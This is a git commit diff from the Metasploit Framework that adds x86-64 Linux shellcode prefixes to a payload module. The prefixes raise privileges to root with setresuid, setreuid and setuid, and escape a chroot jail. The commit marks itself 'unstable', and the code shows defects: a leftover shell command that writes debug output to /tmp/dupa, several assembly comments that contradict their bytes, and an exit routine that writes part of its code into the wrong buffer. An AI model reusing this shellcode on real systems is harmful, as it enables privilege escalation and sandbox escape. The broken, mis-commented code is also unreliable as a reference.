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metasploit-framework
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`advance` linux x64 payloads

unstable
Maciej Kotowicz 2012-01-26 00:51:06 +01:00
parent 4b814d7da2
commit fe2caf2fe4
1 changed files with 93 additions and 0 deletions
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93
lib/msf/core/payload/linux.rb
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@ -124,6 +124,7 @@ module Msf::Payload::Linux
# build ".." str (ptr in ebx)
"\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x66\x68\x2e\x2e" +# pushw $0x2e2e #
"\x89\xe3" +# movl %esp,%ebx #
# loop changing dir
@ -137,6 +138,7 @@ module Msf::Payload::Linux
"\x89\xd9" +# movl %ebx,%ecx #
"\x58" +# popl %eax #
"\xcd\x80" # int $0x80 #
`echo "foo size: #{pre.size}" > /tmp/dupa`
end
# Append
@ -203,7 +205,98 @@ module Msf::Payload::Linux
"\x38\x1f\xfe\x02" +# addi r0,r31,-510 #
"\x44\xff\xff\x02" # sc #
end
end
if (test_arch.include?(ARCH_X86_64))
if (datastore['PrependSetresuid'])
# setresuid(0, 0, 0)
pre << "\x48\x31\xff" # xor rdi,rdi #
pre << "\x48\x89\xfe" # mov rsi,rdi #
pre << "\x6a\x75" # push 0x75 #
pre << "\x58" # pop rax #
pre << "\x0f\x05" # syscall #
end
if (datastore['PrependSetreuid'])
# setreuid(0, 0)
pre << "\x48\x31\xff" # xor rdi,rdi #
pre << "\x48\x89\xfe" # mov rsi,rdi #
pre << "\x6a\x71" # push 0x71 #
pre << "\x58" # pop rax #
pre << "\x0f\x05" # syscall #
end
if (datastore['PrependSetuid'])
# setuid(0)
pre << "\x48\x31\xff" # xor rdi,rdi #
pre << "\x6a\x69" # push 0x69 #
pre << "\x58" # pop rax #
pre << "\x0f\x05" # syscall #
end
if (datastore['PrependChrootBreak'])
# setreuid(0, 0)
pre << "\x48\x31\xff" # xor rdi,rdi #
pre << "\x48\x89\xfe" # mov rax,rdi #
pre << "\x48\x89\xf8" # mov rax,rdi #
pre << "\xb0\x71" # mov al,0x71 #
pre << "\x0f\x05" # syscall #
# generate temp dir name
pre << "\x48\xbf" # mov rdi, #
pre << Rex::Text.rand_text_alpha(8) # random #
pre << "\x56" # push rsi #
pre << "\x57" # push rdi #
# mkdir(random,0755)
pre << "\x48\x89\xe7" # mov rdi,rsp #
pre << "\x66\xbe\xed\x01" # mov si,0755 #
pre << "\x6a\x53" # push 0x53 #
pre << "\x58" # pop rax #
pre << "\x0f\x05" # syscall #
# chroot(random)
pre << "\x48\x31\xd2" # xor rdx,rdx #
pre << "\xb2\xa1" # mov dl,0xa1 #
pre << "\x48\x89\xd0" # mov rax,rdx #
pre << "\x0f\x05" # syscall #
# build .. (ptr in rdi )
pre << "\x66\xbe\x2e\x2e" # mov si,0x2e2e #
pre << "\x56" # push rsi #
pre << "\x48\x89\xe7" # mov rdi,rsp #
# loop chdir(..) 69 times
# syscall tendo to modify rcx can't use loop...
pre << "\x6a\x69" # push 0x45 #
pre << "\x5b" # pop rbx #
pre << "\x6a\x50" # push 0x50 #
pre << "\x58" # pop rax #
pre << "\x0f\x05" # syscall #
pre << "\xfe\xcb" # dec bl #
pre << "\x75\xf7" # jnz -7 #
# chrot (.) (witch should by /)
pre << "\x6a\x2e" # push . (0x2e) #
pre << "\x48\x89\xe7" # mov rdi,rsp #
pre << "\x48\x89\xd0" # mov rax,rdx #
pre << "\x0f\x05" # syscall #
end
# Append
# exit(0)
if (datastore['AppendExit'])
app << "\x48\x31\xff" # xor rdi,rdi #
app << "\x48\x89\xf8" # mov rax,rdi #
pre << "\xb0\x3c" # mov al,0x69 #
app << "\x0f\x05" # syscall #
end
end
return (pre + buf + app)